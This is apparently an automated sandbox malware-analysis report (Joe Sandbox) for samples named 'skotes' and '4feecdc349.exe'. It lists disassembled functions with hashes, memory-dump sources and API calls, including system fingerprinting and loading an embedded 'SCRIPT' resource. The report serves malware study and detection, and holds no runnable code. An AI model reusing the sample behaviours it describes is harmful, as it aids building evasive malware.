Instruction ID: 2996bfc3c34a68f1b930cf2ca729f0a9033bd414edc10a74ab6b75ec2856caa0
Opcode Fuzzy Hash: cddc17cd9357da1536aa14f2caad929b07ea25225fee924d99326883484e471b
Instruction Fuzzy Hash: AAB19D31214614CFD728CF28D486B667BE0FF45364F658699E899CF3A1C339E992CB48

Function 003E4B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3b08139606c22e006d96da46eace1e614d19f171f93cc652746835f60671795
Instruction ID: 12740cf939debe705a94d15d7cad89f3e450eb17655af31566b35f76c93bc5ee
Opcode Fuzzy Hash: f3b08139606c22e006d96da46eace1e614d19f171f93cc652746835f60671795
Instruction Fuzzy Hash: F5812074E002A68FDB16CF6AD8907EEBBB5BB1A300F550269D850A7793C3359945CBA0

Function 003FD3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003E24BE

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 6e9df7c11a90bedbd3cd8d9db550d9cf9a6dbb62386d3db65fe47f0eed06d536
Instruction ID: 5ba8dc253888a0f4b4d10171f348fe68b1847abf14c2dbf4d75d9b8f0fc3f371
Opcode Fuzzy Hash: 6e9df7c11a90bedbd3cd8d9db550d9cf9a6dbb62386d3db65fe47f0eed06d536
Instruction Fuzzy Hash: E151027690070ACBDB16CF58D889BADB7F2FB18314F20812AE605EB250D374AD40CF94

Function 004278BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1497fac2c9ba56e9239c1dbcc6a54c6e1caa89a5092a7d2a0cef9d07aa0cadc5
Instruction ID: 5ad0162b22d2a8b01cba5b1cec4b5ffe54819561a09d1dc773c5ecd434f64188
Opcode Fuzzy Hash: 1497fac2c9ba56e9239c1dbcc6a54c6e1caa89a5092a7d2a0cef9d07aa0cadc5
Instruction Fuzzy Hash: 7621B673F20539477B0CC57E8C5227DB6E1C78C541745423AE8A6EA2C1D968D917E2E4

Function 0042779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52ffce9bb9aefa075eb7d63128984b46b83ad726a971e17f0d7e61fbb3341c27
Instruction ID: a239e16938297565424a690133069361f3e5e86df09e9d2eecc1b9dfeab62eff
Opcode Fuzzy Hash: 52ffce9bb9aefa075eb7d63128984b46b83ad726a971e17f0d7e61fbb3341c27
Instruction Fuzzy Hash: 6011C623F30C355B675C816D8C172BAA5D2EBD824034F433AD826E7284E8A4DE23D290

Function 00428860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: ff741a0e81dfc3bc36182d529aee373274264587240fd2b90c4ce928304f09d3
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5D1138773031A243E608962DF8B46BFA395EFD53217EC437FC0418B748DA2AA845960C

Function 0041652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18c7ca6e599a0fb6c7abda487956caf0a056936710c4de3b118e27bf74a55750
Instruction ID: 384ed0a97cf4c3f195120c067ff71f03f8935461e846e15f5b2d1eced4194016
Opcode Fuzzy Hash: 18c7ca6e599a0fb6c7abda487956caf0a056936710c4de3b118e27bf74a55750
Instruction Fuzzy Hash: 97E08C31042208BECF257B18D909E893B6BEB51748F011816FD184A226CB39EEC2C684

Function 0041A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: e2bbc655fb660ca339862d35634c687fa092e395d3e5d4b48068b1712204a63c
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: B0E08C72922228EBCB15DB99C904ACAF3ECEB49B08B65009BF911D3250C274DE40C7D4

Function 003E2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 003E2F5F
__Mtx_unlock.LIBCPMT ref: 003E2FCC
__Cnd_broadcast.LIBCPMT ref: 003E2FE3
__Mtx_unlock.LIBCPMT ref: 003E30F5
__Mtx_unlock.LIBCPMT ref: 003E319B

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 95dd9733e8f3b89d8ec2e611eb89e58cfc0370edcd839743f09147a98c339946
Instruction ID: 4a611fa77b15eae8d3ff15a9f67c40c9ed78e26491fe63d42154fa3a3d325d94
Opcode Fuzzy Hash: 95dd9733e8f3b89d8ec2e611eb89e58cfc0370edcd839743f09147a98c339946
Instruction Fuzzy Hash: CCA116B0A05259EFDB12DF65C94876AB7F8FF15310F044629E916DB281EB31EA04CBD1

Function 0041F35F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0041F3A3

Strings

`'D, xrefs: 0041F375
8"D, xrefs: 0041F44B
,mA, xrefs: 0041F367, 0041F49B

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: ,mA$8"D$`'D
API String ID: 3903695350-3349491184
Opcode ID: f0813278eadaaaf215fd2be0768192bcb47beab951e5cc9a909d64fe1ab5e8a1
Instruction ID: 35c319e8f5f4124a7396d0353e61fce8547bac7967b04c5624da35e9dd8daf6a
Opcode Fuzzy Hash: f0813278eadaaaf215fd2be0768192bcb47beab951e5cc9a909d64fe1ab5e8a1
Instruction Fuzzy Hash: 2E319C31600A05DFEB20AA3AE845BDB73EAEF00315F50442BE459D7691DF78ACD6CB19

Function 0041CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0041CC66

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 4dfbf60573a20427f4e6bf8a422c7825b054395ad4f9493fae48071de70a5ba4
Instruction ID: 581f1dcdf7dd08bfa1bd2ec96873dac7ed185fa36187236907ca03520ce8c6e5
Opcode Fuzzy Hash: 4dfbf60573a20427f4e6bf8a422c7825b054395ad4f9493fae48071de70a5ba4
Instruction Fuzzy Hash: 21B11332A442959FDB11CF68CCC17EEBBA5EF45340F1441ABD845EB341D6389D82CBA8

Function 003FBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 003FBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 003FBBE4
_xtime_get.LIBCPMT ref: 003FBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 003FBC13

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: e053e9879fbbb0b2036d2d87b2324176251e10517976905660c872d76c16181c
Instruction ID: cdd9ff7011e9c190e9d1f5872fedc689ff6d2bb5e0dd088085e34de0c9e69bc9
Opcode Fuzzy Hash: e053e9879fbbb0b2036d2d87b2324176251e10517976905660c872d76c16181c
Instruction Fuzzy Hash: 4F215E75A4020DAFDF01EFA4CD819BEB7B9EF08714F501065FA01BB2A1DB309D019BA0

Function 003EE360 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 003EE4F9

Strings

invalid stoi argument, xrefs: 003EE4F4
L1D, xrefs: 003EE394

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: L1D$invalid stoi argument
API String ID: 909987262-1973287182
Opcode ID: f36f08232641ec33ec50115b863a027d01618efc5126655776c5b5ec11520432
Instruction ID: d4f2676f0c16ab3a70935e77b607b780f6fb8bbcde795e6554262a1d8479bd74
Opcode Fuzzy Hash: f36f08232641ec33ec50115b863a027d01618efc5126655776c5b5ec11520432
Instruction Fuzzy Hash: BBF0F671500314ABD3209F699C0296773E8DB4AB11F01493AFD2497291DB70A800CAAB

Analysis Process: 4feecdc349.exePID: 2892, Parent PID: 6100COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	1597
Total number of Limit Nodes:	52

Executed Functions

Function 009442DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 0094430D

Part of subcall function 00946B57: _wcslen.LIBCMT ref: 00946B6A

GetCurrentProcess.KERNEL32(?,009DCB64,00000000,?,?), ref: 00944422
IsWow64Process.KERNEL32(00000000,?,?), ref: 00944429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00944454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00944466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00944474
FreeLibrary.KERNEL32(00000000,?,?), ref: 0094447B
GetSystemInfo.KERNEL32(?,?,?), ref: 009444A0

Strings

GetNativeSystemInfo, xrefs: 00944460
kernel32.dll, xrefs: 0094444F
|O, xrefs: 009836F8

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: 95832f5e2d9cd7e826c5c30200db69e4cdee977692ec10dd468a7bfb93fd4a1c
Instruction ID: e8177f93315ff11420dacce80c1e2499952592343a447933ebe027ed89c6c119
Opcode Fuzzy Hash: 95832f5e2d9cd7e826c5c30200db69e4cdee977692ec10dd468a7bfb93fd4a1c
Instruction Fuzzy Hash: 8BA1D86190E2D0CFCB51DBF97C857D97FE86B26780B08C89AD2619BB39D2248507DB21

Function 009442A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,009450AA,?,?,00000000,00000000), ref: 009442B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,009450AA,?,?,00000000,00000000), ref: 009442C9
LoadResource.KERNEL32(?,00000000,?,?,009450AA,?,?,00000000,00000000,?,?,?,?,?,?,00944F20), ref: 009835BE
SizeofResource.KERNEL32(?,00000000,?,?,009450AA,?,?,00000000,00000000,?,?,?,?,?,?,00944F20), ref: 009835D3
LockResource.KERNEL32(009450AA,?,?,009450AA,?,?,00000000,00000000,?,?,?,?,?,?,00944F20,?), ref: 009835E6

Strings

SCRIPT, xrefs: 009442BF

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
